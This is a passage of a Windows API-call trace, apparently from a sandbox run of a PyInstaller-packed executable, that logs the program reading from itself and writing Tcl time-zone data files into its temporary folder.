"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\pohnpei"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.232] GetFileType (hFile=0x10c) returned 0x1 [0043.232] htonl (hostlong=0x94000000) returned 0x94 [0043.232] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.232] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x94, lpOverlapped=0x0) returned 1 [0043.233] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.233] CloseHandle (hObject=0x10c) returned 1 [0043.233] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.233] htonl (hostlong=0x30000000) returned 0x30 [0043.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.233] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.233] GetFileType (hFile=0x10c) returned 0x1 [0043.233] htonl (hostlong=0x8a205d00) returned 0x5d208a [0043.233] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d08a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.233] htonl (hostlong=0x89000000) returned 0x89 [0043.233] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89) returned 0x55cfe0 [0043.233] htonl (hostlong=0x89000000) returned 0x89 [0043.233] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.233] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.234] htonl (hostlong=0xb7000000) returned 0xb7 [0043.234] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb7) returned 0x560b30 [0043.234] htonl (hostlong=0x89000000) returned 0x89 [0043.234] htonl (hostlong=0xb7000000) returned 0xb7 [0043.234] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.234] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.234] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.234] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.234] CloseHandle (hObject=0x10c) returned 1 [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] GetLastError () returned 0x0 [0043.234] SetLastError (dwErrCode=0x0) [0043.234] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.234] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.234] GetFileType (hFile=0x10c) returned 0x1 [0043.234] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.234] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.234] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.234] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.234] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.234] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.234] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.234] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.234] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.234] CloseHandle (hObject=0x10c) returned 1 [0043.234] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.235] GetFileType (hFile=0x10c) returned 0x1 [0043.235] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.235] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.235] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.235] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.235] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.235] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.235] CloseHandle (hObject=0x10c) returned 1 [0043.235] GetLastError () returned 0x0 [0043.235] SetLastError (dwErrCode=0x0) [0043.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.235] GetFileType (hFile=0x10c) returned 0x1 [0043.235] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.235] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.235] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.235] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.235] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.236] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.236] CloseHandle (hObject=0x10c) returned 1 [0043.236] GetLastError () returned 0x0 [0043.236] SetLastError (dwErrCode=0x0) [0043.236] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Ponape") returned 71 [0043.236] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Ponape" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\ponape"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.236] GetLastError () returned 0x2 [0043.236] SetLastError (dwErrCode=0x2) [0043.236] GetLastError () returned 0x2 [0043.236] SetLastError (dwErrCode=0x2) [0043.236] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Ponape", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Ponape", lpFilePart=0x0) returned 0x46 [0043.236] GetLastError () returned 0x2 [0043.236] SetLastError (dwErrCode=0x2) [0043.236] GetLastError () returned 0x2 [0043.236] SetLastError (dwErrCode=0x2) [0043.236] GetLastError () returned 0x2 [0043.236] SetLastError (dwErrCode=0x2) [0043.236] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Ponape") returned 71 [0043.236] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.236] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Ponape" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\ponape"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.237] GetFileType (hFile=0x10c) returned 0x1 [0043.237] htonl (hostlong=0xb7000000) returned 0xb7 [0043.237] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.237] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb7, lpOverlapped=0x0) returned 1 [0043.237] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.238] CloseHandle (hObject=0x10c) returned 1 [0043.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560b30 | out: hHeap=0x530000) returned 1 [0043.238] htonl (hostlong=0x30000000) returned 0x30 [0043.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.238] GetFileType (hFile=0x10c) returned 0x1 [0043.238] htonl (hostlong=0x13215d00) returned 0x5d2113 [0043.238] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d113, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.238] htonl (hostlong=0x9f000000) returned 0x9f [0043.238] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0043.238] htonl (hostlong=0x9f000000) returned 0x9f [0043.238] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.238] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.238] htonl (hostlong=0xb7000000) returned 0xb7 [0043.238] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb7) returned 0x560a70 [0043.238] htonl (hostlong=0x9f000000) returned 0x9f [0043.238] htonl (hostlong=0xb7000000) returned 0xb7 [0043.238] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.238] CloseHandle (hObject=0x10c) returned 1 [0043.238] GetLastError () returned 0x0 [0043.238] SetLastError (dwErrCode=0x0) [0043.238] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.239] GetFileType (hFile=0x10c) returned 0x1 [0043.239] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.239] CloseHandle (hObject=0x10c) returned 1 [0043.239] GetLastError () returned 0x0 [0043.239] SetLastError (dwErrCode=0x0) [0043.239] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.239] GetFileType (hFile=0x10c) returned 0x1 [0043.239] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.240] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.240] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.240] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.240] CloseHandle (hObject=0x10c) returned 1 [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.240] GetFileType (hFile=0x10c) returned 0x1 [0043.240] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.240] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.240] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.240] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.240] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.240] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.240] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.240] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.240] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.240] CloseHandle (hObject=0x10c) returned 1 [0043.240] GetLastError () returned 0x0 [0043.240] SetLastError (dwErrCode=0x0) [0043.240] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Port_Moresby") returned 77 [0043.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Port_Moresby" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\port_moresby"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.241] GetLastError () returned 0x2 [0043.241] SetLastError (dwErrCode=0x2) [0043.241] GetLastError () returned 0x2 [0043.241] SetLastError (dwErrCode=0x2) [0043.241] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Port_Moresby", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Port_Moresby", lpFilePart=0x0) returned 0x4c [0043.241] GetLastError () returned 0x2 [0043.241] SetLastError (dwErrCode=0x2) [0043.241] GetLastError () returned 0x2 [0043.241] SetLastError (dwErrCode=0x2) [0043.241] GetLastError () returned 0x2 [0043.241] SetLastError (dwErrCode=0x2) [0043.241] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Port_Moresby") returned 77 [0043.241] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.241] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Port_Moresby" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\port_moresby"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.241] GetFileType (hFile=0x10c) returned 0x1 [0043.241] htonl (hostlong=0xb7000000) returned 0xb7 [0043.241] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.241] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb7, lpOverlapped=0x0) returned 1 [0043.242] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.242] CloseHandle (hObject=0x10c) returned 1 [0043.242] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560a70 | out: hHeap=0x530000) returned 1 [0043.242] htonl (hostlong=0x40000000) returned 0x40 [0043.242] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.242] MultiByteToWideChar (in: 